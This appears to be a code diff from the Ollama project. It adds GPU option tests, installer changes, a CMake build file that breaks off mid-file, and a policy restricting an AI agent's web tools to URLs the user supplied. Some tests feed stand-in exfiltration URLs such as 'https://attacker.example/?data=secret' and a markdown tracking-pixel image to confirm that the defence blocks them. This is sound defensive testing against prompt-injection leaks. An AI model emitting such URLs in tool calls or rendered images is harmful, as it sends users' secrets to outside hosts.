@@ -20,6 +20,10 @@ func testPropsMap(m map[string]ToolProperty) *ToolPropertiesMap {
 	return props
 }
 
+func testIntPtr(v int) *int {
+	return &v
+}
+
 // testArgs creates ToolCallFunctionArguments from a map (convenience function for tests, order not preserved)
 func testArgs(m map[string]any) ToolCallFunctionArguments {
 	args := NewToolCallFunctionArguments()
@@ -168,6 +172,47 @@ func TestUseMmapParsingFromJSON(t *testing.T) {
 	}
 }
 
+func TestMainGPUParsingFromJSON(t *testing.T) {
+	tests := []struct {
+		name    string
+		req     string
+		wantGPU *int
+	}{
+		{
+			name: "Undefined",
+			req:  `{}`,
+		},
+		{
+			name:    "Zero",
+			req:     `{ "main_gpu": 0 }`,
+			wantGPU: testIntPtr(0),
+		},
+		{
+			name:    "Nonzero",
+			req:     `{ "main_gpu": 1 }`,
+			wantGPU: testIntPtr(1),
+		},
+	}
+
+	for _, test := range tests {
+		t.Run(test.name, func(t *testing.T) {
+			var oMap map[string]any
+			err := json.Unmarshal([]byte(test.req), &oMap)
+			require.NoError(t, err)
+
+			opts := DefaultOptions()
+			err = opts.FromMap(oMap)
+			require.NoError(t, err)
+
+			if test.wantGPU == nil {
+				assert.Nil(t, opts.MainGPU)
+			} else if assert.NotNil(t, opts.MainGPU) {
+				assert.Equal(t, *test.wantGPU, *opts.MainGPU)
+			}
+		})
+	}
+}
+
 func TestUseMmapFormatParams(t *testing.T) {
 	tr := true
 	fa := false
@@ -232,6 +277,12 @@ func TestUseMmapFormatParams(t *testing.T) {
 	}
 }
 
+func TestMainGPUFormatParams(t *testing.T) {
+	resp, err := FormatParams(map[string][]string{"main_gpu": {"0"}})
+	require.NoError(t, err)
+	assert.Equal(t, int64(0), resp["main_gpu"])
+}
+
 func TestMessage_UnmarshalJSON(t *testing.T) {
 	tests := []struct {
 		input    string

app/ollama.iss

@@ -14,6 +14,7 @@
 #define MyAppPublisher "Ollama"
 #define MyAppURL "https://ollama.com/"
 #define MyAppExeName "ollama app.exe"
+#define LlamaServerExeName "llama-server.exe"
 #define MyIcon ".\assets\app.ico"
 
 [Setup]
@@ -90,9 +91,8 @@ DialogFontSize=12
 [Files]
 #if FileExists("..\dist\windows-ollama-app-amd64.exe")
 Source: "..\dist\windows-ollama-app-amd64.exe"; DestDir: "{app}"; DestName: "{#MyAppExeName}" ;Check: not IsArm64();  Flags: ignoreversion 64bit; BeforeInstall: TaskKill('{#MyAppExeName}')
-Source: "..\dist\windows-amd64\vc_redist.x64.exe"; DestDir: "{tmp}"; Check: not IsArm64() and vc_redist_needed(); Flags: deleteafterinstall
 Source: "..\dist\windows-amd64\ollama.exe"; DestDir: "{app}"; Check: not IsArm64(); Flags: ignoreversion 64bit; BeforeInstall: TaskKill('ollama.exe')
-Source: "..\dist\windows-amd64\lib\ollama\*"; DestDir: "{app}\lib\ollama\"; Check: not IsArm64(); Flags: ignoreversion 64bit recursesubdirs
+Source: "..\dist\windows-amd64\lib\ollama\*"; Excludes: "\mlx_*\*"; DestDir: "{app}\lib\ollama\"; Check: not IsArm64(); Flags: ignoreversion 64bit recursesubdirs
 #endif
 
 ; For local development, rely on binary compatibility at runtime since we can't cross compile
@@ -103,9 +103,11 @@ Source: "..\dist\windows-ollama-app-amd64.exe"; DestDir: "{app}"; DestName: "{#M
 #endif
 
 #if FileExists("..\dist\windows-arm64\ollama.exe")
-Source: "..\dist\windows-arm64\vc_redist.arm64.exe"; DestDir: "{tmp}"; Check: IsArm64() and vc_redist_needed(); Flags: deleteafterinstall
 Source: "..\dist\windows-arm64\ollama.exe"; DestDir: "{app}"; Check: IsArm64(); Flags: ignoreversion 64bit; BeforeInstall: TaskKill('ollama.exe')
 #endif
+#if DirExists("..\dist\windows-arm64\lib\ollama")
+Source: "..\dist\windows-arm64\lib\ollama\*"; DestDir: "{app}\lib\ollama\"; Check: IsArm64(); Flags: ignoreversion 64bit recursesubdirs
+#endif
 
 Source: ".\assets\app.ico"; DestDir: "{app}"; Flags: ignoreversion
 
@@ -118,12 +120,6 @@ Name: "{userprograms}\{#MyAppName}"; Filename: "{app}\{#MyAppExeName}"; IconFile
 Type: files; Name: "{%LOCALAPPDATA}\Ollama\updates"
 
 [Run]
-#if DirExists("..\dist\windows-arm64")
-Filename: "{tmp}\vc_redist.arm64.exe"; Parameters: "/install /passive /norestart"; Check: IsArm64() and vc_redist_needed(); StatusMsg: "Installing VC++ Redistributables..."; Flags: waituntilterminated
-#endif
-#if DirExists("..\dist\windows-amd64")
-Filename: "{tmp}\vc_redist.x64.exe"; Parameters: "/install /passive /norestart"; Check: not IsArm64() and vc_redist_needed(); StatusMsg: "Installing VC++ Redistributables..."; Flags: waituntilterminated
-#endif
 Filename: "{cmd}"; Parameters: "/C set PATH={app};%PATH% & ""{app}\{#MyAppExeName}"""; Flags: postinstall nowait runhidden
 
 [UninstallRun]
@@ -131,6 +127,7 @@ Filename: "{cmd}"; Parameters: "/C set PATH={app};%PATH% & ""{app}\{#MyAppExeNam
 ; Filename: "{cmd}"; Parameters: "/C ""taskkill /im ollama.exe /f /t"; Flags: runhidden
 Filename: "taskkill"; Parameters: "/im ""{#MyAppExeName}"" /f /t"; Flags: runhidden
 Filename: "taskkill"; Parameters: "/im ""ollama.exe"" /f /t"; Flags: runhidden
+Filename: "taskkill"; Parameters: "/im ""{#LlamaServerExeName}"" /f /t"; Flags: runhidden
 ; HACK!  need to give the server and app enough time to exit
 ; TODO - convert this to a Pascal code script so it waits until they're no longer running, then completes
 Filename: "{cmd}"; Parameters: "/c timeout 5"; Flags: runhidden
@@ -184,46 +181,6 @@ begin
   Result := Pos(';' + ExpandConstant(Param) + ';', ';' + OrigPath + ';') = 0;
 end;
 
-{ --- VC Runtime libraries discovery code - Only install vc_redist if it isn't already installed ----- }
-const VCRTL_MIN_V1 = 14;
-const VCRTL_MIN_V2 = 40;
-const VCRTL_MIN_V3 = 33807;
-const VCRTL_MIN_V4 = 0;
-
- // check if the minimum required vc redist is installed (by looking the registry)
-function vc_redist_needed (): Boolean;
-var
-  sRegKey: string;
-  v1: Cardinal;
-  v2: Cardinal;
-  v3: Cardinal;
-  v4: Cardinal;
-begin
-  if (IsArm64()) then begin
-    sRegKey := 'SOFTWARE\WOW6432Node\Microsoft\VisualStudio\14.0\VC\Runtimes\arm64';
-  end else begin
-    sRegKey := 'SOFTWARE\Microsoft\VisualStudio\14.0\VC\Runtimes\x64';
-  end;
-  if (RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'Major', v1)  and
-      RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'Minor', v2) and
-      RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'Bld', v3) and
-      RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'RBld', v4)) then
-  begin
-    Log ('VC Redist version: ' + IntToStr (v1) +
-        '.' + IntToStr (v2) + '.' + IntToStr (v3) +
-        '.' + IntToStr (v4));
-    { Version info was found. Return true if later or equal to our
-       minimal required version RTL_MIN_Vx }
-    Result := not (
-        (v1 > VCRTL_MIN_V1) or ((v1 = VCRTL_MIN_V1) and
-         ((v2 > VCRTL_MIN_V2) or ((v2 = VCRTL_MIN_V2) and
-          ((v3 > VCRTL_MIN_V3) or ((v3 = VCRTL_MIN_V3) and
-           (v4 >= VCRTL_MIN_V4)))))));
-  end
-  else
-    Result := TRUE;
-end;
-
 function GetDirSize(Path: String): Int64;
 var
   FindRec: TFindRec;
@@ -370,5 +327,8 @@ procedure TaskKill(FileName: String);
 var
   ResultCode: Integer;
 begin
-    Exec('taskkill.exe', '/f /im ' + '"' + FileName + '"', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
+    Exec('taskkill.exe', '/f /t /im ' + '"' + FileName + '"', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
+    if FileName <> '{#LlamaServerExeName}' then begin
+      Exec('taskkill.exe', '/f /t /im "{#LlamaServerExeName}"', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
+    end;
 end;

app/server/server_windows.go

@@ -164,7 +164,7 @@ func reapServers() error {
 			continue
 		}
 
-		cmd := exec.Command("taskkill", "/F", "/PID", pidStr)
+		cmd := exec.Command("taskkill", "/F", "/T", "/PID", pidStr)
 		if err := cmd.Run(); err != nil {
 			slog.Warn("failed to kill ollama process", "pid", pid, "err", err)
 		}

app/store/database.go

@@ -1201,15 +1201,16 @@ func (db *database) getSettings() (Settings, error) {
 func (db *database) setSettings(s Settings) error {
 	lastHomeView := strings.ToLower(strings.TrimSpace(s.LastHomeView))
 	validLaunchView := map[string]struct{}{
-		"launch":   {},
-		"openclaw": {},
-		"claude":   {},
-		"hermes":   {},
-		"codex":    {},
-		"copilot":  {},
-		"opencode": {},
-		"droid":    {},
-		"pi":       {},
+		"launch":    {},
+		"openclaw":  {},
+		"claude":    {},
+		"hermes":    {},
+		"codex":     {},
+		"codex-app": {},
+		"copilot":   {},
+		"opencode":  {},
+		"droid":     {},
+		"pi":        {},
 	}
 	if lastHomeView != "chat" {
 		if _, ok := validLaunchView[lastHomeView]; !ok {

app/store/store_test.go

@@ -122,6 +122,21 @@ func TestStore(t *testing.T) {
 		}
 	})
 
+	t.Run("settings codex app home view is accepted", func(t *testing.T) {
+		if err := s.SetSettings(Settings{LastHomeView: "codex-app"}); err != nil {
+			t.Fatal(err)
+		}
+
+		loaded, err := s.Settings()
+		if err != nil {
+			t.Fatal(err)
+		}
+
+		if loaded.LastHomeView != "codex-app" {
+			t.Fatalf("expected codex-app LastHomeView to be preserved, got %q", loaded.LastHomeView)
+		}
+	})
+
 	t.Run("window size", func(t *testing.T) {
 		if err := s.SetWindowSize(1024, 768); err != nil {
 			t.Fatal(err)

app/tools/browser.go

@@ -563,6 +563,10 @@ func (b *BrowserOpen) Execute(ctx context.Context, args map[string]any) (any, st
 			return b.state.Data, pageText, nil
 		}
 
+		if !allowedDirectURL(ctx, url) {
+			return nil, "", fmt.Errorf("direct URL open is only allowed for URLs provided by the user")
+		}
+
 		// Page not in cache, need to crawl it
 		if b.crawlPage == nil {
 			b.crawlPage = &BrowserCrawler{}

app/tools/browser_test.go

@@ -65,6 +65,27 @@ func TestBrowserOpen_UseCacheByURL(t *testing.T) {
 	}
 }
 
+func TestBrowserOpen_RejectsUncachedDirectURL(t *testing.T) {
+	b := NewBrowser(&responses.BrowserStateData{PageStack: []string{}, ViewTokens: 1024, URLToPage: map[string]*responses.Page{}})
+	bo := NewBrowserOpen(b)
+
+	_, _, err := bo.Execute(t.Context(), map[string]any{"id": "https://attacker.example/?data=secret"})
+	if err == nil || !strings.Contains(err.Error(), "only allowed for URLs provided by the user") {
+		t.Fatalf("expected direct URL rejection, got %v", err)
+	}
+}
+
+func TestDirectURLsFromText_AllowsExactUserURLsOnly(t *testing.T) {
+	ctx := WithAllowedDirectURLs(t.Context(), "summarize https://example.com/article?q=1 please")
+
+	if !allowedDirectURL(ctx, "https://example.com/article?q=1") {
+		t.Fatal("expected exact user-provided URL to be allowed")
+	}
+	if allowedDirectURL(ctx, "https://example.com/article?q=secret") {
+		t.Fatal("did not expect modified URL to be allowed")
+	}
+}
+
 func TestDisplayPage_InvalidLoc(t *testing.T) {
 	b := NewBrowser(&responses.BrowserStateData{PageStack: []string{}, ViewTokens: 1024, URLToPage: map[string]*responses.Page{}})
 	p := makeTestPage("https://example.com/x")

app/tools/url_policy.go

@@ -0,0 +1,61 @@
+//go:build windows || darwin
+
+package tools
+
+import (
+	"context"
+	"regexp"
+	"strings"
+)
+
+type directURLContextKey struct{}
+
+var directURLPattern = regexp.MustCompile("https?://[^\\s<>\"'`]+")
+
+func WithAllowedDirectURLs(ctx context.Context, text string) context.Context {
+	allowed := make(map[string]struct{})
+	for _, match := range directURLPattern.FindAllString(text, -1) {
+		addAllowedDirectURLToMap(allowed, match)
+	}
+	return context.WithValue(ctx, directURLContextKey{}, allowed)
+}
+
+func addAllowedDirectURL(ctx context.Context, raw string) {
+	allowed, _ := ctx.Value(directURLContextKey{}).(map[string]struct{})
+	addAllowedDirectURLToMap(allowed, raw)
+}
+
+func addAllowedDirectURLToMap(allowed map[string]struct{}, raw string) {
+	if allowed == nil {
+		return
+	}
+
+	raw = cleanDirectURL(raw)
+	if raw == "" {
+		return
+	}
+
+	allowed[raw] = struct{}{}
+}
+
+func allowedDirectURL(ctx context.Context, raw string) bool {
+	allowed, _ := ctx.Value(directURLContextKey{}).(map[string]struct{})
+	cleaned := cleanDirectURL(raw)
+	if cleaned == "" || cleaned != raw {
+		return false
+	}
+
+	_, ok := allowed[cleaned]
+	return ok
+}
+
+func cleanDirectURL(raw string) string {
+	raw = strings.TrimSpace(raw)
+	raw = strings.TrimRight(raw, ".,;:!?)]}")
+
+	if !strings.HasPrefix(raw, "http://") && !strings.HasPrefix(raw, "https://") {
+		return ""
+	}
+
+	return raw
+}

app/tools/url_policy_test.go

@@ -0,0 +1,21 @@
+//go:build windows || darwin
+
+package tools
+
+import "testing"
+
+func TestDirectURLsFromText_RejectsChangedToolArgument(t *testing.T) {
+	ctx := WithAllowedDirectURLs(t.Context(), "summarize https://attacker.example/x")
+
+	if allowedDirectURL(ctx, "https://attacker.example/x!!!!") {
+		t.Fatal("expected changed tool argument to be rejected")
+	}
+}
+
+func TestDirectURLsFromText_ExtractsMarkdownCodeSpanURL(t *testing.T) {
+	ctx := WithAllowedDirectURLs(t.Context(), "summarize `https://example.com/privacy`")
+
+	if !allowedDirectURL(ctx, "https://example.com/privacy") {
+		t.Fatal("expected URL wrapped in backticks to be allowed")
+	}
+}

app/tools/web_fetch.go

@@ -67,11 +67,17 @@ func (w *WebFetch) Execute(ctx context.Context, args map[string]any) (any, strin
 	if !ok || strings.TrimSpace(urlStr) == "" {
 		return nil, "", fmt.Errorf("url must be a non-empty string")
 	}
+	if !allowedDirectURL(ctx, urlStr) {
+		return nil, "", fmt.Errorf("web fetch is only allowed for URLs provided by the user")
+	}
 
 	result, err := performWebFetch(ctx, urlStr)
 	if err != nil {
 		return nil, "", err
 	}
+	for _, link := range result.Links {
+		addAllowedDirectURL(ctx, link)
+	}
 
 	return result, "", nil
 }

app/tools/web_search.go

@@ -88,6 +88,9 @@ func (w *WebSearch) Execute(ctx context.Context, args map[string]any) (any, stri
 	if err != nil {
 		return nil, "", err
 	}
+	for _, result := range result.Results {
+		addAllowedDirectURL(ctx, result.URL)
+	}
 
 	return result, "", nil
 }

app/ui/app/src/components/LaunchCommands.tsx

@@ -22,11 +22,12 @@ const LAUNCH_COMMANDS: LaunchCommand[] = [
     iconClassName: "h-7 w-7",
   },
   {
-    id: "openclaw",
-    name: "OpenClaw",
-    command: "ollama launch openclaw",
-    description: "Personal AI with 100+ skills",
-    icon: "/launch-icons/openclaw.svg",
+    id: "chatgpt",
+    name: "ChatGPT",
+    command: "ollama launch chatgpt",
+    description: "Complete work with ChatGPT",
+    icon: "/launch-icons/codex-app.png",
+    iconClassName: "h-full w-full",
   },
   {
     id: "hermes",
@@ -36,6 +37,13 @@ const LAUNCH_COMMANDS: LaunchCommand[] = [
     icon: "/launch-icons/hermes-agent.svg",
     iconClassName: "h-7 w-7",
   },
+  {
+    id: "openclaw",
+    name: "OpenClaw",
+    command: "ollama launch openclaw",
+    description: "Personal AI with 100+ skills",
+    icon: "/launch-icons/openclaw.svg",
+  },
   {
     id: "opencode",
     name: "OpenCode",

app/ui/app/src/components/StreamingMarkdownContent.test.tsx

@@ -0,0 +1,61 @@
+import { renderToStaticMarkup } from "react-dom/server";
+import type React from "react";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+type MockStreamdownProps = {
+  children?: React.ReactNode;
+  components: {
+    img: React.ComponentType<React.ImgHTMLAttributes<HTMLImageElement>>;
+  };
+  rehypePlugins?: unknown[];
+};
+
+const streamdownMock = vi.hoisted(() =>
+  vi.fn((props: MockStreamdownProps) => props.children),
+);
+
+vi.mock("streamdown", () => ({
+  Streamdown: streamdownMock,
+  defaultRehypePlugins: {
+    katex: "katex",
+    raw: "raw",
+  },
+  defaultRemarkPlugins: {
+    gfm: "gfm",
+    math: "math",
+  },
+}));
+
+import StreamingMarkdownContent from "./StreamingMarkdownContent";
+
+describe("StreamingMarkdownContent", () => {
+  beforeEach(() => {
+    streamdownMock.mockClear();
+  });
+
+  it("does not enable raw HTML parsing", () => {
+    renderToStaticMarkup(
+      <StreamingMarkdownContent content="<iframe></iframe>" />,
+    );
+
+    const props = streamdownMock.mock.calls[0][0];
+    expect(props.rehypePlugins).toEqual(["katex"]);
+    expect(props.rehypePlugins).not.toContain("raw");
+  });
+
+  it("does not render markdown image src values", () => {
+    renderToStaticMarkup(
+      <StreamingMarkdownContent content="![secret](https://attacker.example/pixel?data=secret)" />,
+    );
+
+    const props = streamdownMock.mock.calls[0][0];
+    const Img = props.components.img;
+    const html = renderToStaticMarkup(
+      <Img alt="secret" src="https://attacker.example/pixel?data=secret" />,
+    );
+
+    expect(html).not.toContain("<img");
+    expect(html).not.toContain("attacker.example");
+    expect(html).toContain("secret");
+  });
+});

app/ui/app/src/components/StreamingMarkdownContent.tsx

@@ -1,5 +1,9 @@
 import React from "react";
-import { Streamdown, defaultRemarkPlugins } from "streamdown";
+import {
+  Streamdown,
+  defaultRehypePlugins,
+  defaultRemarkPlugins,
+} from "streamdown";
 import remarkCitationParser from "@/utils/remarkCitationParser";
 import CopyButton from "./CopyButton";
 import type { BundledLanguage } from "shiki";
@@ -29,6 +33,8 @@ const extractText = (node: React.ReactNode): string => {
   return "";
 };
 
+const safeRehypePlugins = [defaultRehypePlugins.katex];
+
 const CodeBlock = React.memo(
   ({ children }: React.HTMLAttributes<HTMLPreElement>) => {
     // Extract code and language from children
@@ -210,9 +216,12 @@ const StreamingMarkdownContent: React.FC<StreamingMarkdownContentProps> =
           <Streamdown
             parseIncompleteMarkdown={isStreaming}
             isAnimating={isStreaming}
+            rehypePlugins={safeRehypePlugins}
             remarkPlugins={remarkPlugins}
             controls={false}
             components={{
+              img: ({ alt }: React.ImgHTMLAttributes<HTMLImageElement>) =>
+                alt ? <span>{alt}</span> : null,
               pre: CodeBlock,
               table: ({
                 children,

app/ui/ui.go

@@ -574,6 +574,18 @@ func (s *Server) getError(err error) responses.ErrorEvent {
 	}
 }
 
+func userMessageText(messages []store.Message) string {
+	var b strings.Builder
+	for _, message := range messages {
+		if message.Role != "user" {
+			continue
+		}
+		b.WriteString(message.Content)
+		b.WriteByte('\n')
+	}
+	return b.String()
+}
+
 func (s *Server) browserState(chat *store.Chat) (*responses.BrowserStateData, bool) {
 	if len(chat.BrowserState) > 0 {
 		var st responses.BrowserStateData
@@ -839,6 +851,7 @@ func (s *Server) chat(w http.ResponseWriter, r *http.Request) error {
 	// Note: Skip agent/tools mode if user has attachments, as the agent doesn't handle file attachments properly
 	registry := tools.NewRegistry()
 	var browser *tools.Browser
+	ctx = tools.WithAllowedDirectURLs(ctx, userMessageText(chat.Messages))
 
 	if !hasAttachments {
 		WebSearchEnabled := req.WebSearch != nil && *req.WebSearch

cmake/local.cmake

@@ -0,0 +1,782 @@
+# Local Ollama superbuild targets.
+#
+# This file keeps the repository-root CMake project focused on orchestration:
+# it builds a runnable local Ollama payload by delegating llama.cpp work to the
+# llama/server CMake project and building the Go binary into a matching layout.
+
+include(ExternalProject)
+
+set(OLLAMA_LLAMA_BACKENDS "" CACHE STRING
+    "Semicolon-separated llama-server GPU backends to build: cuda_v12;cuda_v13;rocm_v7_1;rocm_v7_2;vulkan;cuda_jetpack5;cuda_jetpack6")
+set(_ollama_mlx_backends_doc "Semicolon-separated MLX backends to build: cuda_v13;metal_v3;metal_v4")
+set(OLLAMA_VERSION "0.0.0" CACHE STRING "Ollama version embedded in the local Go binary")
+set(OLLAMA_PAYLOAD_INSTALL_PREFIX "${CMAKE_BINARY_DIR}" CACHE PATH
+    "Build-time staging prefix for nested Ollama native payloads")
+
+string(REGEX REPLACE "^v" "" OLLAMA_VERSION "${OLLAMA_VERSION}")
+
+set(OLLAMA_NATIVE_CONFIG_ARG)
+if(CMAKE_CONFIGURATION_TYPES)
+    set(OLLAMA_NATIVE_CONFIG_ARG --config Release)
+endif()
+
+set(OLLAMA_NATIVE_EXTERNAL_OPTIONS)
+if(CMAKE_VERSION VERSION_GREATER_EQUAL 3.28)
+    list(APPEND OLLAMA_NATIVE_EXTERNAL_OPTIONS BUILD_JOB_SERVER_AWARE TRUE)
+endif()
+
+function(ollama_check_metal_toolchain output_version)
+    find_program(_ollama_xcrun xcrun)
+    if(NOT _ollama_xcrun)
+        message(FATAL_ERROR
+            "MLX Metal requires Xcode command line tools. Install Xcode, run "
+            "`sudo xcode-select -s /Applications/Xcode.app/Contents/Developer`, "
+            "then install the Metal toolchain with "
+            "`xcodebuild -downloadComponent MetalToolchain`.")
+    endif()
+
+    execute_process(
+        COMMAND zsh "-c"
+            "echo \"__METAL_VERSION__\" | \"${_ollama_xcrun}\" -sdk macosx metal -E -x metal -P - 2>/dev/null | tail -1 | tr -d '\n'"
+        OUTPUT_VARIABLE _metal_version
+        RESULT_VARIABLE _metal_result)
+    if(NOT _metal_result EQUAL 0 OR NOT _metal_version MATCHES "^[0-9]+$")
+        message(FATAL_ERROR
+            "MLX Metal requires Xcode's Metal toolchain. Install Xcode, run "
+            "`sudo xcode-select -s /Applications/Xcode.app/Contents/Developer`, "
+            "then install the Metal toolchain with "
+            "`xcodebuild -downloadComponent MetalToolchain`.")
+    endif()
+
+    set(${output_version} "${_metal_version}" PARENT_SCOPE)
+endfunction()
+
+function(ollama_macos_major_version output)
+    execute_process(
+        COMMAND sw_vers -productVersion
+        OUTPUT_VARIABLE _macos_version
+        OUTPUT_STRIP_TRAILING_WHITESPACE
+        RESULT_VARIABLE _macos_result
+        ERROR_QUIET)
+    if(_macos_result EQUAL 0)
+        string(REGEX MATCH "^[0-9]+(\\.[0-9]+)?" _macos_major "${_macos_version}")
+    endif()
+    set(${output} "${_macos_major}" PARENT_SCOPE)
+endfunction()
+
+function(ollama_macos_sdk_major_version output)
+    execute_process(
+        COMMAND xcrun --sdk macosx --show-sdk-version
+        OUTPUT_VARIABLE _sdk_version
+        OUTPUT_STRIP_TRAILING_WHITESPACE
+        RESULT_VARIABLE _sdk_result
+        ERROR_QUIET)
+    if(_sdk_result EQUAL 0)
+        string(REGEX MATCH "^[0-9]+(\\.[0-9]+)?" _sdk_major "${_sdk_version}")
+    endif()
+    set(${output} "${_sdk_major}" PARENT_SCOPE)
+endfunction()
+
+function(ollama_default_mlx_backends output)
+    set(_backends "")
+    if(APPLE AND CMAKE_SYSTEM_PROCESSOR STREQUAL "arm64")
+        ollama_check_metal_toolchain(_metal_version)
+        ollama_macos_major_version(_macos_major)
+        ollama_macos_sdk_major_version(_sdk_major)
+        if(_macos_major AND _sdk_major
+            AND _macos_major VERSION_GREATER_EQUAL 26.2
+            AND _sdk_major VERSION_GREATER_EQUAL 26.2)
+            set(_backends "metal_v4")
+        else()
+            set(_backends "metal_v3")
+        endif()
+        message(STATUS "Defaulting OLLAMA_MLX_BACKENDS=${_backends} for macOS arm64")
+    endif()
+    set(${output} "${_backends}" PARENT_SCOPE)
+endfunction()
+
+if(NOT DEFINED OLLAMA_MLX_BACKENDS)
+    ollama_default_mlx_backends(_ollama_default_mlx_backends)
+    set(OLLAMA_MLX_BACKENDS "${_ollama_default_mlx_backends}" CACHE STRING "${_ollama_mlx_backends_doc}")
+else()
+    set(OLLAMA_MLX_BACKENDS "${OLLAMA_MLX_BACKENDS}" CACHE STRING "${_ollama_mlx_backends_doc}")
+endif()
+
+if(NOT OLLAMA_HAVE_LLAMA_SERVER)
+    if(OLLAMA_LLAMA_BACKENDS)
+        message(FATAL_ERROR "llama/server is required when OLLAMA_LLAMA_BACKENDS is set")
+    endif()
+    if(NOT OLLAMA_MLX_BACKENDS)
+        message(FATAL_ERROR "llama/server is required for local Ollama builds")
+    endif()
+else()
+    file(READ "${CMAKE_SOURCE_DIR}/LLAMA_CPP_VERSION" OLLAMA_LLAMA_CPP_GIT_TAG)
+    string(STRIP "${OLLAMA_LLAMA_CPP_GIT_TAG}" OLLAMA_LLAMA_CPP_GIT_TAG)
+    include(${CMAKE_SOURCE_DIR}/llama/compat/compat.cmake)
+    if(DEFINED FETCHCONTENT_SOURCE_DIR_LLAMA_CPP AND NOT "${FETCHCONTENT_SOURCE_DIR_LLAMA_CPP}" STREQUAL "")
+        get_filename_component(OLLAMA_LLAMA_CPP_SOURCE_DIR
+            "${FETCHCONTENT_SOURCE_DIR_LLAMA_CPP}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
+        message(STATUS "Using llama.cpp source override: ${OLLAMA_LLAMA_CPP_SOURCE_DIR}")
+        add_custom_target(ollama-llama-cpp-source)
+    elseif(DEFINED ENV{OLLAMA_LLAMA_CPP_SOURCE})
+        get_filename_component(OLLAMA_LLAMA_CPP_SOURCE_DIR
+            "$ENV{OLLAMA_LLAMA_CPP_SOURCE}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
+        message(STATUS "Using local llama.cpp source: ${OLLAMA_LLAMA_CPP_SOURCE_DIR}")
+        add_custom_target(ollama-llama-cpp-source)
+    else()
+        set(OLLAMA_LLAMA_CPP_SOURCE_DIR "${CMAKE_BINARY_DIR}/_deps/llama_cpp-src")
+        ExternalProject_Add(ollama-llama-cpp-source
+            GIT_REPOSITORY "https://github.com/ggml-org/llama.cpp.git"
+            GIT_TAG ${OLLAMA_LLAMA_CPP_GIT_TAG}
+            GIT_SHALLOW TRUE
+            SOURCE_DIR ${OLLAMA_LLAMA_CPP_SOURCE_DIR}
+            CONFIGURE_COMMAND ""
+            BUILD_COMMAND ""
+            INSTALL_COMMAND ""
+            PATCH_COMMAND ${OLLAMA_LLAMA_CPP_COMPAT_PATCH_COMMAND}
+            USES_TERMINAL_DOWNLOAD TRUE
+            USES_TERMINAL_PATCH TRUE)
+    endif()
+endif()
+
+set(_mlx_source_targets)
+if(OLLAMA_MLX_BACKENDS)
+    file(READ "${CMAKE_SOURCE_DIR}/MLX_VERSION" OLLAMA_MLX_GIT_TAG)
+    string(STRIP "${OLLAMA_MLX_GIT_TAG}" OLLAMA_MLX_GIT_TAG)
+    file(READ "${CMAKE_SOURCE_DIR}/MLX_C_VERSION" OLLAMA_MLX_C_GIT_TAG)
+    string(STRIP "${OLLAMA_MLX_C_GIT_TAG}" OLLAMA_MLX_C_GIT_TAG)
+
+    if(DEFINED FETCHCONTENT_SOURCE_DIR_MLX AND NOT "${FETCHCONTENT_SOURCE_DIR_MLX}" STREQUAL "")
+        get_filename_component(OLLAMA_MLX_SOURCE_DIR
+            "${FETCHCONTENT_SOURCE_DIR_MLX}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
+        message(STATUS "Using MLX source override: ${OLLAMA_MLX_SOURCE_DIR}")
+    elseif(DEFINED ENV{OLLAMA_MLX_SOURCE})
+        get_filename_component(OLLAMA_MLX_SOURCE_DIR
+            "$ENV{OLLAMA_MLX_SOURCE}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
+        message(STATUS "Using local MLX source: ${OLLAMA_MLX_SOURCE_DIR}")
+    else()
+        set(OLLAMA_MLX_SOURCE_DIR "${CMAKE_BINARY_DIR}/_deps/mlx-src")
+        ExternalProject_Add(ollama-mlx-source
+            GIT_REPOSITORY "https://github.com/ml-explore/mlx.git"
+            GIT_TAG ${OLLAMA_MLX_GIT_TAG}
+            # MLX uses commit hashes while we track closely; switch to shallow when MLX pins move to tags.
+            GIT_SHALLOW FALSE
+            SOURCE_DIR ${OLLAMA_MLX_SOURCE_DIR}
+            CONFIGURE_COMMAND ""
+            BUILD_COMMAND ""
+            INSTALL_COMMAND ""
+            USES_TERMINAL_DOWNLOAD TRUE)
+        list(APPEND _mlx_source_targets ollama-mlx-source)
+    endif()
+
+    if(DEFINED "FETCHCONTENT_SOURCE_DIR_MLX-C" AND NOT "${FETCHCONTENT_SOURCE_DIR_MLX-C}" STREQUAL "")
+        get_filename_component(OLLAMA_MLX_C_SOURCE_DIR
+            "${FETCHCONTENT_SOURCE_DIR_MLX-C}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
+        message(STATUS "Using MLX-C source override: ${OLLAMA_MLX_C_SOURCE_DIR}")
+    elseif(DEFINED ENV{OLLAMA_MLX_C_SOURCE})
+        get_filename_component(OLLAMA_MLX_C_SOURCE_DIR
+            "$ENV{OLLAMA_MLX_C_SOURCE}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
+        message(STATUS "Using local MLX-C source: ${OLLAMA_MLX_C_SOURCE_DIR}")
+    else()
+        set(OLLAMA_MLX_C_SOURCE_DIR "${CMAKE_BINARY_DIR}/_deps/mlx-c-src")
+        ExternalProject_Add(ollama-mlx-c-source
+            GIT_REPOSITORY "https://github.com/ml-explore/mlx-c.git"
+            GIT_TAG ${OLLAMA_MLX_C_GIT_TAG}
+            # MLX-C uses commit hashes while we track closely; switch to shallow when MLX-C pins move to tags.
+            GIT_SHALLOW FALSE
+            SOURCE_DIR ${OLLAMA_MLX_C_SOURCE_DIR}
+            CONFIGURE_COMMAND ""
+            BUILD_COMMAND ""
+            INSTALL_COMMAND ""
+            USES_TERMINAL_DOWNLOAD TRUE)
+        list(APPEND _mlx_source_targets ollama-mlx-c-source)
+    endif()
+    add_custom_target(ollama-mlx-sources DEPENDS ${_mlx_source_targets})
+endif()
+
+set(OLLAMA_BUILD_PARALLEL "" CACHE STRING
+    "Number of parallel jobs for nested native builds (empty = use generator default)")
+
+set(_native_parallel_args --parallel)
+if(NOT OLLAMA_BUILD_PARALLEL STREQUAL "")
